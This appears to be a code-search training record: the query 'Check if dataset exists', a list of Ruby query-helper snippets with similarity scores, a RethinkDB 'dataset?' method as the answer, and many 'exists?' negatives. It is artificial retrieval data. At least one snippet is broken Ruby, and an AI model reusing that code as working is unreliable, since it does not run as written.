Query: #{query.to_json}\"\n cursor = options[:cursor]\n if cursor\n query_result = []\n while cursor\n response = get_query_response(query, cursor)\n query_result += response['result']\n cursor = response['cursor']\n end\n else\n response = get_query_response(query, cursor)\n cursor = response['cursor']\n query_result = response['result']\n end\n query_result\n end", "def query\n end", "def query\n unless @query\n parse_query()\n end\n @query\n end", "def query(sql)\n if NB.neverblocking? && NB.reactor.running?\n send_query sql\n NB.wait(:read, IO.new(socket))\n get_result\n else\n super(sql)\n end\n end", "def mqlread(query, options = {})\n cursor = options[:cursor]\n if cursor\n query_result = []\n while cursor\n response = get_query_response(query, cursor)\n query_result += response['result']\n cursor = response['cursor']\n end\n else\n response = get_query_response(query, cursor)\n cursor = response['cursor']\n query_result = response['result']\n end\n query_result\n end", "def query sql\n result = db[sql].all\n return result\n end", "def query(soql)\n response = api_get 'query', :q => soql\n mashify? ? response.body : response.body['records']\n end", "def run()\n if @type.nil?\n output_available_query_types\n else\n output_query_results\n end\n end", "def query(sql)\n @dataset = @database[sql] #Take SQL string and connect it to a DB\n #puts(\"Datset\", dataset)\n @fields = Array.new #Create blank array of field/column names\n @fields = @dataset.columns #Gets table field/column names\n #print(\"Fields\", @fields, \"\\n\") #debug \n @fieldCount = @fields.length\n\n begin\n @data = @dataset.all #Executes SQL\n rescue\n @data = Array.new\n end\n end", "def run\n self.prominence!\n return self.send_results if @query.any?\n\n self.fuzzy_match\n self.apply_narrowing_filters\n self.apply_limit\n self.load_and_sort_by_matches\n self.send_results\n end", "def RunQueries\n if @reqs.empty?\n @error = 'No queries defined, issue AddQuery() first'\n return false\n end\n\n req = @reqs.join('')\n nreqs = @reqs.length\n @reqs = []\n response = PerformRequest(:search, req, nreqs)\n \n # parse response\n begin\n results = []\n ires = 0\n while ires < nreqs\n ires += 1\n result = {}\n \n result['error'] = ''\n result['warning'] = ''\n \n # extract status\n status = result['status'] = response.get_int\n if status != SEARCHD_OK\n message = response.get_string\n if status == SEARCHD_WARNING\n result['warning'] = message\n else\n result['error'] = message\n results << result\n next\n end\n end\n \n # read schema\n fields = []\n attrs = {}\n attrs_names_in_order = []\n \n nfields = response.get_int\n while nfields > 0\n nfields -= 1\n fields << response.get_string\n end\n result['fields'] = fields\n \n nattrs = response.get_int\n while nattrs > 0\n nattrs -= 1\n attr = response.get_string\n type = response.get_int\n attrs[attr] = type\n attrs_names_in_order << attr\n end\n result['attrs'] = attrs\n \n # read match count\n count = response.get_int\n id64 = response.get_int\n \n # read matches\n result['matches'] = []\n while count > 0\n count -= 1\n \n if id64 != 0\n doc = response.get_int64\n weight = response.get_int\n else\n doc, weight = response.get_ints(2)\n end\n \n r = {} # This is a single result put in the result['matches'] array\n r['id'] = doc\n r['weight'] = weight\n attrs_names_in_order.each do |a|\n r['attrs'] ||= {}\n \n case attrs[a]\n when SPH_ATTR_BIGINT\n # handle 64-bit ints\n r['attrs'][a] = response.get_int64\n when SPH_ATTR_FLOAT\n # handle floats\n r['attrs'][a] = response.get_float\n\t\t\t\twhen SPH_ATTR_STRING\n\t\t\t\t # handle string\n\t\t\t\t r['attrs'][a] = response.get_string\n else\n # handle everything else as unsigned ints\n val = response.get_int\n if attrs[a]==SPH_ATTR_MULTI\n r['attrs'][a] = []\n 1.upto(val) do\n r['attrs'][a] << response.get_int\n end\n elsif attrs[a]==SPH_ATTR_MULTI64\n r['attrs'][a] = []\n\t\t\t\t\tval = val/2\n 1.upto(val) do\n r['attrs'][a] << response.get_int64\n end\n else\n r['attrs'][a] = val\n end\n end\n end\n result['matches'] << r\n end\n result['total'], result['total_found'], msecs, words = response.get_ints(4)\n result['time'] = '%.3f' % (msecs / 1000.0)\n \n result['words'] = {}\n while words > 0\n words -= 1\n word = response.get_string\n docs, hits = response.get_ints(2)\n result['words'][word] = { 'docs' => docs, 'hits' => hits }\n end\n \n results << result\n end\n #rescue EOFError\n # @error = 'incomplete reply'\n # raise SphinxResponseError, @error\n end\n \n return results\n end", "def execute_query\n the_query = create_query\n\n #to do: start and end offsets\n results = the_query.all.collect { |result|\n the_result = {id: result.id, uuid: result.uuid, start_offset_seconds: nil, end_offset_seconds: nil}\n OpenStruct.new(the_result)\n }\n to_return = {:search => self, :query => the_query, :items => results}\n OpenStruct.new(to_return)\n end", "def query(&block)\n dataset.query(&block)\n end", "def query(&block)\n dataset.query(&block)\n end", "def query(&block)\n dataset.query(&block)\n end", "def run\n _escaped_sql = escaped_sql\n @query_logger << _escaped_sql if @query_logger\n result = @conn.exec_query _escaped_sql\n row_class = OccamsRecord::Results.klass(result.columns, result.column_types, @eager_loaders.names, model: @eager_loaders.model, modules: @use)\n rows = result.rows.map { |row| row_class.new row }\n @eager_loaders.run!(rows, query_logger: @query_logger)\n rows\n end", "def query\n print_banner\n @value = query_ask\n end", "def discover\n choria.pql_query(@query, true)\n end", "def query(_tql)\n raise NotImplementedError.new\n end", "def query(sql, name = nil) #:nodoc:\n #log(sql, name) do\n #TODO: @async\n select_rows sql, name\n end", "def query\n return @query\n end", "def query\n return @query\n end", "def query\n return @query\n end", "def fetch\n @result = Result.new(data, :query => self)\n end", "def query(soql_expr)\n result = http_get(\"/services/data/v#{self.version}/query\", :q => soql_expr)\n collection_from(result.body)\n end", "def query(*args, &bl)\n alf_connection.query(*args, &bl)\n end", "def get_data\n\t\texecute unless @result\n\t\treturn get_data_from_result(@result)\n\tend", "def retrieve_data_by_query\n @data_retrieved = nil\n\n # Define query for data retrieve.\n # Query is defined in a way that should be easily execute in an SQL client\n # So meeting_id will be forced in a second step\n data_retrieve_query = \"\n select ms.session_order,\n me.event_order,\n et.code as event_code,\n ht.code as heat_type,\n me.is_out_of_race,\n gt.code as gender_code,\n ct.age_begin,\n ct.code as category_code,\n \tmir.rank,\n mir.is_disqualified,\n mir.minutes,\n mir.seconds,\n mir.hundreds,\n mir.is_personal_best,\n mir.reaction_time,\n mir.standard_points,\n mir.meeting_individual_points,\n mir.goggle_cup_points,\n mir.team_points,\n s.complete_name,\n s.year_of_birth,\n ta.name as team_name,\n mir.updated_at,\n mir.team_id,\n mir.swimmer_id,\n mp.meeting_event_id,\n mir.meeting_program_id\n from meeting_sessions ms\n \tjoin meeting_events me on me.meeting_session_id = ms.id\n join heat_types ht on ht.id = me.heat_type_id\n \tjoin meeting_programs mp on mp.meeting_event_id = me.id\n join meeting_individual_results mir on mir.meeting_program_id = mp.id\n join event_types et on et.id = me.event_type_id\n join gender_types gt on gt.id = mp.gender_type_id\n join category_types ct on ct.id = mp.category_type_id\n join team_affiliations ta on ta.id = mir.team_affiliation_id\n join swimmers s on s.id = mir.swimmer_id\n where ms.meeting_id = VAR_MEETING_ID\n order by ms.session_order, me.event_order, ht.code, gt.code, ct.age_begin, mir.is_disqualified, mir.rank\n \"\n\n # Prepare data retrieve query with swimemr and date inteval as parameters\n data_retrieve_query.gsub!('VAR_MEETING_ID', @meeting.id.to_s)\n\n # Retrieve data\n @data_retrieved = ActiveRecord::Base.connection.exec_query(data_retrieve_query)\n end", "def run\r\n ridFieldName = @qbc.lookupFieldNameFromID( \"3\")\r\n records = Records.new\r\n @qbc.iterateRecords(@dbid,@qbc.getFieldNames(@dbid),nil,@id,nil,qyclst()){|qb_record|\r\n record = Record.new\r\n record.build(@qbc,ridFieldName, qb_record)\r\n records << record\r\n }\r\n records\r\n end", "def run(&block)\n @repository.query(self, &block)\n end", "def query(sql)\n path = 'query'\n io = request path, :post, {}, {query: sql}, stream: true\n io.each do |l|\n yield l\n end\n end", "def query()\n\t\tval = self.client.sys.registry.query_value(self.hkey, self.name)\n\n\t\tif (val != nil)\n\t\t\tself.data = val.data\n\t\t\tself.type = val.type\n\t\tend\n\n\t\treturn self.data\n\tend", "def execute_query(options)\n results = solr_select(options)\n Chef::Log.debug(\"Bulk loading from #{@database}:\\n#{results.inspect}\") \n objects = if results[\"response\"][\"docs\"].length > 0\n bulk_objects = @couchdb.bulk_get( results[\"response\"][\"docs\"].collect { |d| d[ID_KEY] } )\n Chef::Log.debug(\"bulk get of objects: #{bulk_objects.inspect}\")\n bulk_objects\n else\n []\n end\n [ objects, results[\"response\"][\"start\"], results[\"response\"][\"numFound\"], results[\"responseHeader\"] ] \n end", "def query\n @operation = :query\n self\n end", "def raw_query\n @raw_query\n end", "def query\n get_query_object\n end", "def old_query # rubocop:disable Metrics/AbcSize, Metrics/MethodLength\n data = []\n\n query_result = generic_query(params: { 'source-id': 'datacite-usage', 'doi': @doi })\n data += query_result['data'] if query_result['data']\n\n while query_result['links']['next']\n query_result = make_reliable { RestClient.get query_result['links']['next'] }\n query_result = JSON.parse(query_result)\n data += query_result['data'] if query_result['data']\n end\n\n data\n rescue RestClient::ExceptionWithResponse => err\n logger.error(\"#{Time.new} Could not get response from DataCite event data source-id=datacite-usage&doi=#{CGI.escape(@doi)}\")\n logger.error(\"#{Time.new} #{err}\")\n []\n end", "def perform_query\n Rails.logger.info queries.to_sql\n queries\n end", "def query(sql, name = nil) #:nodoc:\n log(sql, name) do\n @connection.execute(sql).rows\n end\n end", "def runQuery(query, &block)\n begin\n debug \"SQL Query: '#{query}'\"\n reply=@my.query(query)\n # Check if the SQL result contains anything at all...\n # If so, then call the block of commands to process it\n if (reply != nil && reply.num_rows() > 0)\n reply.each() { |result|\n debug \"SQL Reply: '#{result.to_s}'\"\n yield(result)\n }\n else\n debug \"SQL Reply is EMPTY!\"\n end\n rescue MysqlError => e\n debug \"ERROR - SQL Error: '#{e}'\"\n end\n end", "def query(&block)\n @delegate.query(block)\n end", "def query(query, args = {})\n args[:q] = query\n args[:qt] = 'standard'\n conn = ActiveFedora::SolrService.instance.conn\n result = conn.post('select', data: args)\n result.fetch('response').fetch('docs')\n end", "def query\n start do |connection|\n request = HTTP::Get.new \"#{ @uri.path }?#{ @uri.query }\"\n @headers.each { |header, value| request[header] = value }\n connection.request request\n end\n end", "def query\n return nil\n end", "def runQuery(query, &block)\n raise \"Trying to run a query when not connected to inventory DB\" if not @connected\n begin\n debug \"SQL Query: '#{query}'\"\n reply=@my.query(query)\n # Check if the SQL result contains anything at all...\n # If so, then call the block of commands to process it\n if (reply.num_rows() > 0)\n reply.each() { |result|\n debug \"SQL Reply: '#{result.to_s}'\"\n yield(result)\n }\n else\n debug \"SQL Reply is EMPTY!\"\n end\n rescue MysqlError => e\n debug \"ERROR - SQL Error: '#{e}'\"\n end\n end", "def query\n\n JSON.parse(Net::HTTP.get(self.build_uri))\n\n end", "def query( query_string )\n\n # Perform the query\n Operations::Query.new(@rforce_binding, query_string).run()\n\n end", "def query(sql)\n database.execute2(sql)\n end", "def queries\n qrs = []\n self.each_query {|qr| qrs << qr }\n qrs\n end", "def run query, namespace: nil\n ensure_service!\n unless query.is_a?(Query) || query.is_a?(GqlQuery)\n raise ArgumentError, \"Cannot run a #{query.class} object.\"\n end\n query_res = service.run_query query.to_grpc, namespace,\n transaction: @id\n QueryResults.from_grpc query_res, service, namespace,\n query.to_grpc.dup\n end", "def execute(input_set = nil)\n resp = super(input_set)\n results = QueryResultSet.new(resp)\n return results\n end", "def execute!(query)\n http_response = request.post(@url, params: @params, json: { query: query.to_gql })\n\n fail \"Error: #{http_response.reason}\\nBody: #{http_response.body}\" if http_response.status >= 300\n\n parsed_response = JSON.parse(http_response.to_s)\n data = parsed_response['data']\n errors = parsed_response['errors']\n\n Response.new(data, errors, query)\n end", "def raw_query(query) #:nodoc:\n logger.benchmark \"cypher: #{query}\" do\n result = connection.execute_query(query)\n if result\n result[\"data\"]\n else\n []\n end\n end\n end", "def execute\n reset\n params = @query.to_params\n @solr_result = @connection.post \"#{request_handler}\", :data => params\n self\n end", "def execute\n reset\n params = @query.to_params\n @solr_result = @connection.request(\"/#{request_handler}\", params, {:header => {'Content-Type' => 'application/x-www-form-urlencoded'}})\n self\n end", "def query(q)\n @conn.query({url_path: \"#{database}/_find\", opts: q, method: :post})\n end", "def query\n self\n end", "def query\n self\n end", "def query(tql)\n rid = tql[:rid]\n where = nil\n filter = nil\n if tql.has_key?(:where)\n w = tql[:where]\n where = w.is_a?(Array) ? ExprParser.parse(w) : w\n end\n filter = ExprParser.parse(tql[:filter]) if tql.has_key?(:filter)\n\n if tql.has_key?(:insert)\n insert(tql[:insert], rid, where, filter)\n elsif tql.has_key?(:update)\n update(tql[:update], rid, where, filter)\n elsif tql.has_key?(:delete)\n delete(tql[:delete], rid, where, filter)\n else\n select(tql[:select], rid, where, filter)\n end\n end", "def run\n check_xhr unless params[:download]\n\n query = DataExplorer::Query.find(params[:id].to_i)\n query.last_run_at = Time.now\n\n if params[:id].to_i < 0\n query.created_by = Discourse::SYSTEM_USER_ID.to_s\n query.save_default_query\n else\n query.save\n end\n\n if params[:download]\n response.sending_file = true\n end\n\n params[:params] = params[:_params] if params[:_params] # testing workaround\n query_params = {}\n query_params = MultiJson.load(params[:params]) if params[:params]\n\n opts = { current_user: current_user.username }\n opts[:explain] = true if params[:explain] == \"true\"\n\n opts[:limit] =\n if params[:limit] == \"ALL\" || params[:format] == \"csv\"\n \"ALL\"\n elsif params[:limit]\n params[:limit].to_i\n end\n\n result = DataExplorer.run_query(query, query_params, opts)\n\n if result[:error]\n err = result[:error]\n\n # Pretty printing logic\n err_class = err.class\n err_msg = err.message\n if err.is_a? ActiveRecord::StatementInvalid\n err_class = err.original_exception.class\n err_msg.gsub!(\"#{err_class}:\", '')\n else\n err_msg = \"#{err_class}: #{err_msg}\"\n end\n\n render json: {\n success: false,\n errors: [err_msg]\n }, status: 422\n else\n pg_result = result[:pg_result]\n cols = pg_result.fields\n respond_to do |format|\n format.json do\n if params[:download]\n response.headers['Content-Disposition'] =\n \"attachment; filename=#{query.slug}@#{Slug.for(Discourse.current_hostname, 'discourse')}-#{Date.today}.dcqresult.json\"\n end\n json = {\n success: true,\n errors: [],\n duration: (result[:duration_secs].to_f * 1000).round(1),\n result_count: pg_result.values.length || 0,\n params: query_params,\n columns: cols,\n default_limit: DataExplorer::QUERY_RESULT_MAX_LIMIT\n }\n json[:explain] = result[:explain] if opts[:explain]\n\n if !params[:download]\n relations, colrender = DataExplorer.add_extra_data(pg_result)\n json[:relations] = relations\n json[:colrender] = colrender\n end\n\n json[:rows] = pg_result.values\n\n render json: json\n end\n format.csv do\n response.headers['Content-Disposition'] =\n \"attachment; filename=#{query.slug}@#{Slug.for(Discourse.current_hostname, 'discourse')}-#{Date.today}.dcqresult.csv\"\n\n require 'csv'\n text = CSV.generate do |csv|\n csv << cols\n pg_result.values.each do |row|\n csv << row\n end\n end\n\n render plain: text\n end\n end\n end\n end", "def query\n begin\n response = resource[\"/query/#{app}\"].post(:days => options[:days], :url => options[:url], :mode => options[:mode])\n rescue RestClient::InternalServerError\n display \"An error has occurred.\"\n end\n display response.to_s\n end", "def execute(input_set = nil)\n resp = super(input_set)\n results = QueryResultSet.new(resp)\n return results\n end", "def execute(input_set = nil)\n resp = super(input_set)\n results = QueryResultSet.new(resp)\n return results\n end", "def query(&blk)\n @adapter.query(collection, self, &blk)\n end", "def query(query, args = {})\n args.merge!(q: query, qt: 'standard')\n conn = ActiveFedora::SolrService.instance.conn\n result = conn.post('select', data: args)\n result.fetch('response').fetch('docs')\n end", "def db_query sql\n\n db = SQLite3::Database.new 'database.db'\n db.results_as_hash = true\n # debugging output in the terminal:\n puts '================='\n puts sql\n puts '================='\n results db.execute sql\n db.close might\n\n results # return results as query\nend", "def exec(query)\n data = make_args(query) \n\n begin\n result, = Net::HTTP.new(@host).post(@path, data)\n @report = result.body\n output = parse_report(@report)\n end\n\n return output\n end", "def execute_query(sparql_query)\n puts \"Executing SPARQL Query: #{sparql_query} ...\"\n \n if sparql_query.include? \"DESCRIBE\"\n response = @repository.query(sparql_query, :result_type => RubySesame::DATA_TYPES[:N3]) \n puts response if @verbose\n end\n\n if sparql_query.include? \"SELECT\" \t\n response = @repository.query(sparql_query)\t\n puts response if @verbose\n end\n\n end", "def query(query)\n res = LibDrizzle.drizzle_query_str(@con_ptr, nil, query, @ret_ptr)\n check_return_code\n Result.new(res)\n end", "def query(&block)\n raise(ArgumentError, 'Query cannot be run. No query root has been set.') unless @query_root\n\n Query.new(@query_root, &block).data\n end", "def query(q)\n gql(prepare: true).query(q)\n end", "def perform_query(gql, period, query)\n behavior = query.behavior\n\n return behavior.fallback_value unless behavior.period_supported?(period)\n\n value = gql.public_send(:\"query_#{ period }\", query)\n\n # Rails 4.1 JSON encodes BigDecimal as a string. This is not part of\n # the ETEngine APIv3 spec.\n value = value.to_f if value.is_a?(BigDecimal)\n\n behavior.process_result(nan?(value) ? 0.0 : value)\n rescue Exception => exception\n # TODO Exception is *way* too low level to be rescued; we could do\n # with a GraphError exception for \"acceptable\" graph errors.\n @errors.push(\"#{ query.key }/#{ period } - #{ exception.message } | \" \\\n \"#{ exception.backtrace.join(\"\\n\") }\")\n nil\n end", "def query(query_definition)\n return\n end", "def query(query, values)\n handle.exec(query, values)\n end", "def query(options)\n run_command('query', options)\n end", "def fetch_data\n return @data if @data[\"/type/reflect/any_master\"]\n @data = Ken.session.mqlread(FETCH_DATA_QUERY.merge!(:id => id))\n end", "def query(query)\n check_reader\n\n Query.new(self, @reader, query)\n end", "def perform_query(query, operand)\n# STDERR.puts \"perform_query(q '#{query}', op '#{operand}')\"\n records = []\n\t\t \n if operand.is_a?(DataMapper::Query::Conditions::NotOperation)\n#\tSTDERR.puts \"operand is a NOT operation\"\n\tsubject = operand.first.subject\n\tvalue = operand.first.value\n elsif operand.subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"operand subject is a many-to-one relation: '#{operand.subject.inspect}'\"\n\tif operand.subject.parent_model == NamedQuery && operand.subject.child_model == Bug\n\t name = operand.value[operand.subject.parent_key.first.name]\n\t bugs = named_query(name)\n\t bugs.each do |bug|\n\t records << bug_to_record(query.model, bug)\n\t end\n\t return records\n\telse\n\t raise \"Unknown parent (#{operand.subject.parent_model}) child (#{operand.subject.child_model}) relation\"\n\tend\n else\n#\tSTDERR.puts \"operand is normal\"\n\tsubject = operand.subject\n\tvalue = operand.value\n end\n \n if subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"subject is a many-to-one relation\"\n\tsubject = subject.child_key.first\n end\n \n # typical queries\n #\n \n# STDERR.puts \"perform_query(subject '#{subject.inspect}', value '#{value.inspect}')\"\n case query.model.name\n when \"Bug\"\n\tif query.model.key.include?(subject)\n\t # get single <bug>\n\t bugs = get_bugs(value)\n\t records << bug_to_record(query.model, bugs.first)\n\telse\n\t raise \"Unknown query for bug\"\n\tend\n when \"NamedQuery\"\n\trecords << { subject.name.to_s => value }\n\t# be lazy: do the actual named query when NamedQuery#bugs gets accessed\n else\n\traise \"Unsupported model '#{query.model.name}'\"\n end\n \n records\n end", "def run_query(query, options={})\n query = prepare_query query, options\n\n # Run the query\n response = self.__elasticsearch__.search query\n\n Hashie::Mash.new({\n records: response.records,\n total_entries: response.results.total\n })\n end", "def query(yql_query, format='json', diagnostics='false')\n # TODO tried to make the necessary parameters more flexibel. failed for now :)\n # format = (hash.nil? or hash[:format.to_s].nil?) ? 'json' : hash[:format.to_s]\n # format = (hash && hash[:format]) || 'json'\n\n @log.info \"SimpleClient query()\"\n\n # try to run YQL query. If an error occures return an empty array\n begin\n\n #\n # Httparty version\n #\n options = {\n :query => {\n :env => SimpleClient.env, #\"store://datatables.org/alltableswithkeys\",\n :diagnostics => diagnostics,\n :format => format,\n :q => yql_query\n }\n }\n\n yahoo_response = self.class.get('/', options)\n\n #\n # Curl Version\n #\n\n # # put together request URL\n # full_request_url = \"#{@@yql_api_url}?diagnostics=#{diagnostics}\"\n # full_request_url += \"&#{@@env}\"\n # full_request_url += \"&format=#{format}\"\n # full_request_url += \"&q=#{CGI.escape(yql_query)}\"\n\n # request = Curl::Easy.http_get(full_request_url)\n # request.perform\n # # pp request.header_str\n # if format == 'json'\n # yahoo_response = JSON.parse(request.body_str)\n # elsif format == 'xml'\n # yahoo_response = Nokogiri::XML(request.body_str)\n # end\n\n rescue Exception => ex\n puts ex\n end\n\n return yahoo_response\n end", "def query(sql, limit = 100)\n parse_rest(\n rest_request('SQL', sql_query_body(sql, limit))\n )\n end", "def queryAndConvert() \n\t\tres = self.query()\n\t\treturn res.convert()\n end", "def run(skip_channel = nil)\n @previous_results = @results\n @previous_results_hash = @results_hash\n @previous_ids = @current_ids\n\n # Run the query again\n @results = @data_store.query(@live_query.collection, @live_query.query)\n\n # Update the current_ids\n @current_ids = @results.map { |r| r['_id'] }\n @results_hash = Hash[@results.map { |r| [r['_id'], r] }]\n\n process_changes(skip_channel)\n end", "def execute\n render json: Schema.instance.execute(\n params[:query],\n variables: to_hash(params[:variables]),\n context: context\n )\n end", "def get_data sql\n #$log.debug \"SQL: #{sql} \"\n columns, *rows = @db.execute2(sql)\n #$log.debug \"XXX COLUMNS #{sql}, #{rows.count} \"\n content = rows\n return content\n end", "def query_for_data\n if self.record_klass < ActiveRecord::Base\n self.dataset = self.record_klass.find(:all, self.query)\n \n count_query = self.query.reject do |k, v| \n [:limit, :offset, :order].include?(k.to_sym )\n end\n self.resultcount = self.record_klass.count(:all, count_query)\n \n elsif self.record_klass < ActiveResource::Base\n self.dataset = self.record_klass.find(:all, :params => self.query)\n self.resultcount = self.dataset.delete_at(self.dataset.length - 1).total\n else\n raise \"Unable to query for data. Supported base classes are 'ActiveRecord::Base' and 'ActiveResource::Base' but '#{self.record_klass}' was given\"\n end\n \n self.resultcount = self.resultcount.length if self.resultcount.respond_to?(:length)\n end", "def read(query)\n# STDERR.puts \"BugzillaAdapter::read\"\n# fields = query.fields\n# STDERR.puts \"fields #{fields.inspect}\"\n# types = fields.map { |property| property.primitive }\n# STDERR.puts \"types #{types.inspect}\"\n records = records_for(query)\n# query.filter_records(records)\n end", "def run_results()\n sql = \"SELECT * FROM results\"\n results = run(sql)\n results.each do |result|\n event = Event.find(result['event_id'].to_i)\n knight = filter(result['knight_id'].to_i)\n trophy = Trophy.new(event,result['position'].to_i)\n knight.add_trophy(trophy)\n end\n end", "def next\n return nil unless next?\n ensure_service!\n gapi = service.job_query_results job_id, token: token\n QueryData.from_gapi gapi, service\n end", "def query\n unless defined?(@query)\n d = @data\n @query = SeqDesc.new(d[4], d[5], d[9], d[10], d[11], d[12],\n split_comma(d[19]), split_comma(d[21]))\n end\n @query\n end", "def exec_query( context, result, reference, query, lang )\n @trace_file.puts \"exec_query ref #{reference}, query #{query}, lang #{lang}\"\n result.done\n true\n end" ]
[ "0.78596234", "0.7210642", "0.6920141", "0.69122", "0.6911778", "0.68728006", "0.6846096", "0.6818708", "0.67548347", "0.6672281", "0.66603124", "0.6624447", "0.6617163", "0.66022366", "0.654135", "0.65218645", "0.6511164", "0.6507046", "0.6497194", "0.6491645", "0.6468839", "0.6455491", "0.64398575", "0.64398575", "0.64398575", "0.6420565", "0.6382166", "0.63603634", "0.63598925", "0.6351899", "0.63439417", "0.63439417", "0.63439417", "0.6342279", "0.63421303", "0.63279146", "0.62970394", "0.62764895", "0.62487507", "0.62280333", "0.6211738", "0.6209878", "0.6200896", "0.618642", "0.61828196", "0.6175744", "0.61756057", "0.61718595", "0.6143667", "0.61395544", "0.6130348", "0.61231774", "0.6118385", "0.6114389", "0.6114099", "0.61120135", "0.6109967", "0.61020213", "0.6087545", "0.6085976", "0.6079402", "0.6078029", "0.6066829", "0.6063838", "0.6050746", "0.60478425", "0.6012754", "0.6012754", "0.600785", "0.6004148", "0.6000653", "0.5999449", "0.5997675", "0.5993631", "0.59891695", "0.5985513", "0.5970556", "0.596564", "0.5963706", "0.5953852", "0.5942279", "0.59405255", "0.59330875", "0.592639", "0.5921089", "0.59183544", "0.5911112", "0.5893135", "0.58888113", "0.5884592", "0.5881178", "0.5874372", "0.5870318", "0.5866817", "0.5862374", "0.58442396", "0.5829045", "0.58270234", "0.5817437", "0.5811847", "0.580711" ]
0.0
-1
Check if dataset exists
def dataset?(name) run rql.db(options[:db]).table_list.contains(name.to_s) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def data_set_exists?\n !BasicInterfaceRegister[@data_lib][@data_set_name].nil?\n end", "def dataset?(name)\n datasets.key?(name)\n end", "def dataset?(name)\n datasets.key?(name)\n end", "def dataset?\n true\n end", "def dataset?(name)\n self[name] ? true : false\n end", "def dataset?(name)\n connection.query(\"select * from #{name} limit 1\")\n true\n rescue ::InfluxDB::Error\n false\n end", "def data_exist?\n\t\tFile.exist? self.data_path\n\tend", "def data_set_exists?\n Pathname.new(header_file_full_path).exist?\n end", "def exists?\n !data.empty?\n end", "def dataset?(index)\n client.indices.exists?(index: index)\n end", "def data? id\n File.exist? _data_path(id)\n end", "def data_exist?\n\t\tlocal? || File.exist?(self.data_path)\n\tend", "def seed_data_exists?(type)\n !processed_seed_data[type.to_s].nil?\n end", "def exists?()\n\t\t\treturn @metadata.exists?\n\t\tend", "def exist?(cccc)\n not find_data_by_cccc(cccc).nil?\n end", "def lint_dataset_predicate\n return if gateway_instance.respond_to? :dataset?\n\n complain \"#{gateway_instance} must respond to dataset?\"\n end", "def exist?(name)\n @data_adapter.has_relation? name\n end", "def has_data?(path)\n @local_data.has_key?(path.to_s)\n end", "def data_source_exists?(connection, name)\n return if ignored_table?(name)\n prepare_data_sources(connection) if @data_sources.empty?\n return @data_sources[name] if @data_sources.key? name\n\n @data_sources[deep_deduplicate(name)] = connection.data_source_exists?(name)\n end", "def has_analysis_data?\n sql = \"select count(*) as c from `#{@@analysis_db}`.`#{self.analysis_table_name} - raw`\"\n results = @@client.exec_query(sql)\n return results.present? && results.first['c'] > 0\n end", "def exist?(cccc)\n !find_data_by_cccc(cccc).nil?\n end", "def tileset_exist?(filename)\n test_file_existence(filename, Tilesets_Path, @tileset_data)\n end", "def exist?\n nil\n end", "def exists? name\r\n\t\t\tunless @data[name].nil?\r\n\t\t\t\ttrue\r\n\t\t\telse\r\n\t\t\t\tfalse\r\n\t\t\tend\r\n\t\tend", "def data_exist?(parameter)\n !parameter.nil? && !parameter.empty?\n end", "def content_file_exists?\n return false unless described_datafiles.length > 0\n present_described_datafiles = []\n\n described_datafiles.each do |datafile|\n if File.exists? datafile.datapath\n present_described_datafiles << datafile\n end\n end\n\n present_described_datafiles.length > 0\n end", "def has_data?\n @has_data ||= relation.count() > 0\n end", "def exist?\n true\n end", "def exists?\n data != {}\n end", "def initialized?\n\t\t\t@movies_dataset.first\n\t\tend", "def vacols_hearing_exists?\n begin\n self.class.repository.load_vacols_data(self)\n true\n rescue Caseflow::Error::VacolsRecordNotFound => error\n capture_exception(error)\n false\n end\n end", "def exists?\n storage.exists?(id)\n end", "def feed_exists?(path)\n File.exist?(path)\n end", "def table_does_not_exist\n table = sandbox.datasets.find_by_name(to_table)\n errors.add(:base, :table_exists, {:table_name => to_table}) if table\n end", "def visualization_exists?(id)\n saved_object_exists?(\"visualization\", id)\n end", "def exist?\n !count.zero?\n end", "def exists?\n load!\n true\n rescue RecordNotFound\n false\n end", "def exist\n\treturn true\n end", "def dictionary_exist?(dic_name)\n\t\t@db::Dictionary.where(:title => dic_name).present?\n\tend", "def exists?()\n #This is a stub, used for indexing\n end", "def exist?(data)\n (! data.nil?) && (! data.empty?)\n end", "def contains_datastore?(id)\n contains_resource?('DATASTORES/ID', id)\n end", "def exists?\n stats.key? @resource[:name]\n end", "def photoset_exist? name\n @flickr.photosets.getList.each do |x|\n return true if x.title == name\n end\n return false\n end", "def data_query_exists?\n # TODO: add_data_query.php says: \"If the data query was already associated, it will be reindexed\"\n # we may need to figure it out somehow to avoid reindexes.\n #\n # use --check patch: returns true if data query does not exist, returns false if data query exists\n # will raise exception, when option not supported\n r = add_data_query(params + ' --check')\n !r\nrescue\n false\nend", "def exist?\n raise NotImplementedError\n end", "def contains_data?\n @resource.data_files.present_files.where(\"UPPER(upload_file_name) NOT LIKE 'README%'\").count.positive?\n end", "def exists?\n !service.get_table(instance_id, name, view: :NAME_ONLY).nil?\n rescue Google::Cloud::NotFoundError\n false\n end", "def exists?\n fail NotImplementedError\n end", "def vacols_hearing_exists?\n begin\n self.class.repository.load_vacols_data(self)\n true\n rescue Caseflow::Error::VacolsRecordNotFound => error\n Raven.capture_exception(error)\n false\n end\n end", "def exists?\n\t\treturn false\n\tend", "def collect_exists?; collect_data_exists? || collect_module_exists?; end", "def exists?\n !count.zero?\n end", "def exists?\n begin\n res=@db.fetch %Q/ SELECT tablename FROM pg_tables WHERE tablename='%s' AND schemaname='%s'/ % [table_name,schema_name]\n if res.count == 0\n res=@db.fetch %Q/ SELECT viewname FROM pg_views WHERE viewname='%s'AND schemaname='%s'/ % [table_name,schema_name]\n end\n rescue PG::Error => err\n return false\n end\n\n # also say false if the table is empty\n if res.count > 0\n return ds.select(1).limit(1).count > 0\n else\n return true\n end\n return false\n end", "def exists?\n schema.exists?(self)\n end", "def exist?\n @metadata_file_path.file? and @metadata_file_path.readable?\n end", "def a_save_exists?\n DataManager.save_file_exists?\n end", "def exist?\n !find_exists.nil?\n end", "def exist?\r\n !@driver.nil?\r\n end", "def exist?\n self.class.exists?(dn)\n end", "def exist?\n request(:get)\n true\n rescue Stretcher::RequestError::NotFound\n false\n end", "def exist?\n @resource.exist?\n end", "def exist_initial_data\n return Setting.where(\"domain_id = #{self.id}\").count > 1\n end", "def hasData\n sql = ActiveRecord::Base.connection();\n #dataCount, dummy = sql.execute(\"SELECT count(*), 0 FROM enclavecontrols WHERE enclavequarter_id = #{self.id}\").fetch_row\n dataCount = sql.select_value(\"SELECT count(*) FROM enclavecontrols WHERE enclavequarter_id = #{self.id}\")\n if dataCount.to_i > 0 then\n hasData = true\n else\n hasData = false\n end\n #hasData = dataCount\n hasData\n 